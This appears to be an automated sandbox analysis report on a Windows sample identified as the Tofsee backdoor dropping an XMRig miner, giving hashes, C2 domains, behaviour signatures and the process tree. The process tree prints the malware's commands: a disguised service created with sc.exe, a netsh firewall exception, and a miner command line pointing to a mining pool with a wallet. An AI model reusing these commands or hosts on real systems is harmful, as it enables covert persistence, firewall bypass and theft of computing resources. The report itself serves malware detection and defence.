Analysis

  • max time kernel
    161s
  • max time network
    171s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 20:28

General

  • Target

    file.exe

  • Size

    253KB

  • MD5

    cc2a72f82d92baff8f3f98da48101ab4

  • SHA1

    e2377c18ce0858f84b50ac9317de81f15c196b8c

  • SHA256

    f8c2e197d36f46b8189a0e58d3afeabe154d523f406ac760a2b1797ca6ba1199

  • SHA512

    369ae41f47dbb81fd7a0afb2504aadf2713b887a6c424c63a5cb7b7ceda28cae1eef4fa1c005fa33cde8ec0c93d51f8cfb25aaa0ec0039cc2277b9160e491e7f

  • SSDEEP

    3072:HFRhzXDDoLnJJDCEtGKL+5mDyHZMctBDnuUY7yHjP4q5XWtlV1f:lRhzXPoLnvDPtGE6gyHdtfYmHj3WpV

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zjtzbpxo\
      2⤵
        PID:3020
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ipwzocvf.exe" C:\Windows\SysWOW64\zjtzbpxo\
        2⤵
          PID:2596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zjtzbpxo binPath= "C:\Windows\SysWOW64\zjtzbpxo\ipwzocvf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zjtzbpxo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zjtzbpxo
          2⤵
          • Launches sc.exe
          PID:2520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2664
      • C:\Windows\SysWOW64\zjtzbpxo\ipwzocvf.exe
        C:\Windows\SysWOW64\zjtzbpxo\ipwzocvf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2656
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1108

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\ipwzocvf.exe

              Filesize

              14.5MB

              MD5

              a36e9898cd5dd1f22616f137886a08fb

              SHA1

              bd83ced33caa6a1245ac19cde9c2b13a7029c9d1

              SHA256

              f530c8fec03aab0b21d64f65d4d5a053bf82ae587b6384946d0fdc78437bcbe9

              SHA512

              33857e1d1cd0786c4f175c674435d8ae9bb5976effe08f62092ef31dda63aeb07c1fc57d11110570470ff252d72cc43b405966e214b207ac88308780692ce8ed

            • C:\Windows\SysWOW64\zjtzbpxo\ipwzocvf.exe

              Filesize

              14.5MB

              MD5

              a36e9898cd5dd1f22616f137886a08fb

              SHA1

              bd83ced33caa6a1245ac19cde9c2b13a7029c9d1

              SHA256

              f530c8fec03aab0b21d64f65d4d5a053bf82ae587b6384946d0fdc78437bcbe9

              SHA512

              33857e1d1cd0786c4f175c674435d8ae9bb5976effe08f62092ef31dda63aeb07c1fc57d11110570470ff252d72cc43b405966e214b207ac88308780692ce8ed

            • memory/1108-63-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-78-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-77-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-76-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-75-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-74-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-73-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-72-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/1108-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/1108-64-0x00000000000D0000-0x00000000001C1000-memory.dmp

              Filesize

              964KB

            • memory/2556-40-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-45-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-21-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2556-23-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2556-24-0x0000000001910000-0x0000000001B1F000-memory.dmp

              Filesize

              2.1MB

            • memory/2556-27-0x0000000001910000-0x0000000001B1F000-memory.dmp

              Filesize

              2.1MB

            • memory/2556-28-0x00000000000C0000-0x00000000000C6000-memory.dmp

              Filesize

              24KB

            • memory/2556-31-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-34-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-36-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-35-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-37-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-38-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-39-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2556-41-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-42-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-43-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-44-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-20-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2556-46-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-47-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-48-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-49-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-50-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2556-51-0x0000000000220000-0x0000000000225000-memory.dmp

              Filesize

              20KB

            • memory/2556-54-0x0000000000220000-0x0000000000225000-memory.dmp

              Filesize

              20KB

            • memory/2556-55-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2556-58-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2556-59-0x0000000000230000-0x0000000000237000-memory.dmp

              Filesize

              28KB

            • memory/2556-15-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2556-12-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2656-18-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2656-11-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2656-10-0x00000000006B0000-0x00000000007B0000-memory.dmp

              Filesize

              1024KB

            • memory/2872-1-0x00000000002D0000-0x00000000003D0000-memory.dmp

              Filesize

              1024KB

            • memory/2872-8-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2872-7-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2872-3-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2872-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB